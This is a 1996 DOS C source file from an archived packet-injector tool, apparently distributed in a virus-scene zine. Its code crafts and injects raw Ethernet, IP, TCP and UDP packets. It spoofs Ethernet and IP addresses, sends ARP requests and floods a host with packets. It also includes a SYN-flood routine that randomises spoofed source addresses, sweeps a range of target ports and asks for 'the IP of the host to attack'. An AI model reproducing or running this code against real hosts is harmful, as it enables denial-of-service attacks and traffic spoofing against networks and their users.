home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / XINE-1.ZIP / INJECTOR.ZIP / SRC / INJECT.C < prev    next >
Encoding:
C/C++ Source or Header  |  1996-10-21  |  8.4 KB  |  426 lines

  1.  
  2. #include <memory.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <conio.h>
  6. #include <dos.h>
  7.  
  8. #include "inject.h"
  9. #include "pktdrvr.h"
  10. #include "parse.h"
  11. #include "netool.h"
  12.  
  13.  
  14. extern char volatile myetheraddr[6];
  15. extern char volatile toetheraddr[6];
  16. extern char myipaddr[4];
  17. extern char toipaddr[4];
  18. unsigned char tempip[4];
  19. extern int intno;
  20. extern int llen; /* dod */
  21. int volatile gotarp;
  22.  
  23. int id=2718;
  24.  
  25. FILE * frl;
  26.  
  27. unsigned int in_cksum(unsigned char * addr,unsigned len)
  28. {
  29.     unsigned nleft=len;
  30.     unsigned int *w=(unsigned int *) addr;
  31.     unsigned long sum=0;
  32.     unsigned int answer=0;
  33.  
  34.     while (nleft>1)
  35.     {
  36.         sum += *(w++);
  37.         nleft -= 2;
  38.     }
  39.     if (nleft==1)
  40.     {
  41.         *(unsigned char *)(&answer)=*(unsigned char *)w; /* ? */
  42.         sum += answer;
  43.     }
  44.     sum = (sum >> 16) + (sum & 0xffff);
  45.     sum += (sum >> 16);
  46.     answer=~sum;
  47.     return(answer);
  48. }
  49.  
  50. void inject(void)
  51. {
  52.     FILE * f;
  53.     char b[2500];
  54.     int size;
  55.  
  56.     if (! ( f=fopen( getvar("infile"), "rb" ) ) )
  57.     {
  58.         cprintf("Cannot open file in variabile infile:%s\n\r",
  59.             getvar("infile") );
  60.         return;
  61.     }
  62.     size=fread(b,1,2500,f);
  63.     fclose(f);
  64.     dopkt(b,size);
  65. }
  66.  
  67. void putipchecksum(unsigned char * packet, unsigned len)
  68. {
  69.     unsigned checksum,hsize,psize,sum;
  70.     unsigned char * p;
  71.  
  72.     hsize=(packet[14] & 0x0f) << 2;
  73.     packet[24]=0;
  74.     packet[25]=0;
  75.     checksum=in_cksum(packet+14,hsize);
  76.     packet[25]=(checksum >> 8);
  77.     packet[24]=(checksum & 0xff);
  78.     psize=len-hsize-14;
  79.     p=packet+len;
  80.     switch (packet[23])
  81.     {
  82.         case 6:        /* TCP */
  83.             {
  84.                 packet[14+hsize+16]=0;
  85.                 packet[14+hsize+17]=0;
  86.                 if ( (len&1) )
  87.                 {
  88.                     *p++=0;
  89.                 }
  90.                 memcpy(p,14+packet+12,4);
  91.                 p+=4;
  92.                 memcpy(p,14+packet+16,4);
  93.                 p+=4;
  94.                 *p++=0;
  95.                 *p++=packet[14+9];
  96.                 *p++=psize >> 8;
  97.                 *p++=psize & 0xff;
  98.                 sum=in_cksum(packet+hsize+14,p-packet-hsize-14);
  99.                 if (!sum) sum=0xffff;
  100.                 packet[14+hsize+17]= (sum >> 8);
  101.                 packet[14+hsize+16]= (sum & 0xff);
  102.                 break;
  103.             }
  104.         case 17:        /* UDP */
  105.             {
  106.                 packet[14+hsize+6]=0;
  107.                 packet[14+hsize+7]=0;
  108.                 if ( (len&1) )
  109.                 {
  110.                     *p++=0;
  111.                 }
  112.                 memcpy(p,14+packet+12,4);
  113.                 p+=4;
  114.                 memcpy(p,14+packet+16,4);
  115.                 p+=4;
  116.                 *p++=0;
  117.                 *p++=packet[14+9];
  118.                 *p++=psize >> 8;
  119.                 *p++=psize & 0xff;
  120.                 sum=in_cksum(packet+hsize+14,p-packet-hsize-14);
  121.                 if (!sum) sum=0xffff;
  122.                 packet[14+hsize+7]= (sum >> 8);
  123.                 packet[14+hsize+6]= (sum & 0xff);
  124.                 break;
  125.             }
  126.     }
  127.  
  128. }
  129.  
  130.  
  131. void injectip(void)
  132. {
  133.     FILE * f;
  134.     unsigned char b[2500];
  135.     int size;
  136.     unsigned int portno,hsize;
  137.  
  138.     if (! ( f=fopen( getvar("infile"), "rb" ) ) )
  139.     {
  140.         cprintf("Cannot open file in variabile infile:%s\n\r",
  141.             getvar("infile") );
  142.         return;
  143.     }
  144.     size=fread(b,1,2500,f);
  145.     fclose(f);
  146.     if (getvar("fillipfrom"))
  147.     {
  148.         memcpy(b+26,myipaddr,4);
  149.     }
  150.     if (getvar("fillipto"))
  151.     {
  152.         memcpy(b+30,toipaddr,4);
  153.     }
  154.     hsize=(b[14] & 0x0f) << 2;
  155.     b[18]=random(256);    /* randomize id */
  156.     b[19]=random(256);
  157.     switch (b[23])
  158.     {
  159.         case 6:
  160.         {
  161.             if (getvar("portfrom"))
  162.             {
  163.                portno=atoi(getvar("portfrom"));
  164.                b[14+hsize]=portno>>8;
  165.                b[14+hsize+1]=(portno & 0xff);
  166.             }
  167.             if (getvar("portto"))
  168.             {
  169.                portno=atoi(getvar("portto"));
  170.                b[14+hsize+2]=portno>>8;
  171.                b[14+hsize+3]=(portno & 0xff);
  172.             }
  173.             break;
  174.         }
  175.         case 17:
  176.         {
  177.             if (getvar("portfrom"))
  178.             {
  179.                portno=atoi(getvar("portfrom"));
  180.                b[14+hsize]=portno>>8;
  181.                b[14+hsize+1]=(portno & 0xff);
  182.             }
  183.             if (getvar("portto"))
  184.             {
  185.                portno=atoi(getvar("portto"));
  186.                b[14+hsize+2]=portno>>8;
  187.                b[14+hsize+3]=(portno & 0xff);
  188.             }
  189.             break;
  190.         }
  191.     }
  192.     putipchecksum(b,size);
  193.     dopkt(b,size);
  194.  
  195. }
  196.  
  197.  
  198. int dopkt(char * what, int hm)
  199. {
  200.     if (getvar("fillethfrom"))    /* fill our ethernet adress */
  201.     {
  202.          memcpy(what+6,myetheraddr,6);
  203.     }
  204.     if (getvar("fillethto")) /* fill to ethernet adress */
  205.     {
  206.          memcpy(what,toetheraddr,6);
  207.     }
  208.     return send_pkt(intno,what,hm);
  209. }
  210.  
  211. void rlhook(unsigned char * b, int l, struct netpacket * n)
  212. {
  213.     int j;
  214.  
  215.     n=n;            /* avoid warning */
  216.     fprintf(frl,"\n");
  217.     for (j=0;j<l;j++)
  218.     {
  219.         if ( (j%25)==0 )
  220.         {
  221.             fprintf(frl,"\n%4i:",j);
  222.         }
  223.         fprintf(frl,"%2X ",b[j]);
  224.     }
  225. }
  226.  
  227. void arphook(unsigned char * b, int l, struct netpacket * n)
  228. {
  229.     b=b;    /* no warn */
  230.     l=l;    /* no warn */
  231.     if ((n->type==ARP) && (n->proto!=1) && (!memcmp(tempip,n->ipto,4)) )
  232.      {
  233.         memcpy(myetheraddr,n->etharp,6);
  234.         gotarp=1;
  235.      }
  236. }
  237.  
  238. void arphookto(unsigned char * b, int l, struct netpacket * n)
  239. {
  240.     b=b;    /* no warn */
  241.     l=l;    /* no warn */
  242.     if ((n->type==ARP) && (n->proto!=1) && (!memcmp(tempip,n->ipto,4)))
  243.      {
  244.         memcpy(toetheraddr,n->etharp,6);
  245.         gotarp=1;
  246.      }
  247. }
  248.  
  249.  
  250. void rawlog(void)
  251. {
  252.     cputs("raw logging in RAW.LOG\n\r");
  253.     cputs("press a key to end!\n\r");
  254.     frl=fopen("raw.log","a");
  255.     hookfun=rlhook;
  256.     ishooked=1;
  257.     while (kbhit());
  258.     ishooked=0;
  259.     sleep(1);
  260.     fclose(frl);
  261.     cputs("raw logging ended\n\r");
  262. }
  263.  
  264. void catcharp(void)
  265. {
  266.     FILE * a;
  267.     char buff[45];
  268.     int size;
  269.     int ip1,ip2,ip3,ip4;
  270.  
  271.     if (! ( a=fopen("ARP.DAT", "rb" ) ) )    /* ARP data packet */
  272.     {
  273.         cprintf("Cannot open file ARP.DAT\n\r");
  274.         return;
  275.     }
  276.     size=fread(buff,1,44,a);
  277.     fclose(a);
  278.     if (!(getvar("arpip")))
  279.     {
  280.         cprintf("No IP Defined! Set variable arpip\n\r");
  281.         return;
  282.     }
  283.     ip1=ip2=ip3=ip4=0;
  284.     if ((getvar("myarpip")))
  285.     {
  286.         sscanf(getvar("myarpip"),"%u.%u.%u.%u",&ip1,&ip2,&ip3,&ip4);
  287.         buff[28]=ip1;
  288.         buff[29]=ip2; /* fill from IP */
  289.         buff[30]=ip3;
  290.         buff[31]=ip4;
  291.     }
  292.      else
  293.     cprintf("The myarpip var defines the IP from of the request\n\r");
  294.     sscanf(getvar("arpip"),"%u.%u.%u.%u",&ip1,&ip2,&ip3,&ip4);
  295.     buff[38]=tempip[0]=ip1;
  296.     buff[39]=tempip[1]=ip2;   /* fill with desired ip */
  297.     buff[40]=tempip[2]=ip3;
  298.     buff[41]=tempip[3]=ip4;
  299.     dopkt(buff,size);
  300. }
  301.  
  302.  
  303. void getarp(void)
  304. {
  305.     gotarp=0;
  306.     hookfun=arphook;
  307.     ishooked=1;
  308.     catcharp();
  309.     sleep(2);
  310.     ishooked=0;
  311.     if (gotarp==1)
  312.       {
  313.         cprintf("Source ethernet adress got succesfully\n\r");
  314.         gotarp=0;
  315.       }
  316.     else
  317.         cprintf("Source ethernet adress not set\n\r");
  318. }
  319.  
  320. void getarpto(void)
  321. {
  322.     gotarp=0;
  323.     hookfun=arphookto;
  324.     ishooked=1;
  325.     catcharp();
  326.     sleep(2);
  327.     ishooked=0;
  328.     if (gotarp==1)
  329.       {
  330.         cprintf("Destination ethernet adress got succesfully\n\r");
  331.         gotarp=0;
  332.       }
  333.     else
  334.         cprintf("Destination ethernet adress not set\n\r");
  335. }
  336.  
  337.  
  338. void flood(void)
  339. {
  340.     int flud,temp;
  341.  
  342.     if (getvar("pktnumber")==NULL)
  343.         cprintf("You must set the pktnumber variable first\n\r");
  344.     else
  345.     {
  346.     if (getvar("infile")==NULL)
  347.         cprintf("You must set the infile variable first\n\r");
  348.       else
  349.        {
  350.         temp=(atoi(getvar("pktnumber")));
  351.         for (flud=0;flud<temp;flud++)
  352.         inject();
  353.        }
  354.     }
  355. }
  356.  
  357. void synflood(void)
  358. {
  359.  
  360.     FILE * a;
  361.     char buff[300];
  362.     unsigned int cnt,packets,porta,porta2;
  363.     unsigned int fromport,toport, ip1, ip2, ip3, ip4;
  364.     int size;
  365.  
  366.     if (! ( a=fopen("SYN.DAT", "rb" ) ) )    /* SYN data packet */
  367.     {
  368.         cprintf("Cannot open file SYN.DAT\n\r");
  369.         return;
  370.     }
  371.     size=fread(buff,1,59,a);
  372.     fclose(a);
  373.     if (getvar("synip")==NULL)
  374.     {
  375.         cprintf("You must define the IP of the host to attack in the variable synip\n\r");
  376.         return;
  377.     }
  378.     sscanf(getvar("synip"),"%u.%u.%u.%u",&ip1,&ip2,&ip3,&ip4);
  379.     buff[30]=ip1;
  380.     buff[31]=ip2;   /* fill with desired destination IP */
  381.     buff[32]=ip3;
  382.     buff[33]=ip4;
  383.  
  384.     if (getvar("synportfrom")==NULL)    /* SYN start port */
  385.     {
  386.         cprintf("You must define the start port synportfrom\n\r");
  387.         return;
  388.     }
  389.     if (getvar("synportto")==NULL)    /* SYN end port */
  390.     {
  391.         cprintf("You must define the end port synportto\n\r");
  392.         return;
  393.     }
  394.     fromport=atoi(getvar("synportfrom"));
  395.     toport=atoi(getvar("synportto"));
  396.     if (fromport > toport)
  397.     {
  398.         cprintf("fromport must be greater than toport\n\r");
  399.         return;
  400.     }
  401.     if (getvar("synpkt")==NULL)
  402.         cprintf("You must set the synpkt variable first (number of packets)\n\r");
  403.      else
  404.      {
  405.       packets=atoi(getvar("synpkt"));
  406.       for (cnt=0;cnt<packets;cnt++)
  407.       {
  408.          for (porta=fromport;porta<toport;porta++)
  409.         {
  410.               porta2=1024+random(500);
  411.               buff[29]=random(255);    /* a random IP */
  412.               buff[28]=random(255);
  413.               buff[27]=random(255);
  414.               buff[26]=random(50)+100;
  415.               buff[34]=porta2>>8;          /* from port */
  416.               buff[35]=(porta2 & 0xff);
  417.               buff[36]=porta>>8;    /* to port */
  418.               buff[37]=(porta & 0xff);
  419.               putipchecksum(buff,size); /* calculate checksum */
  420.               dopkt(buff,size);        /* send the packet */
  421.               delay(100);        /* little pause */
  422.         }
  423.       }
  424.      }
  425.  
  426. }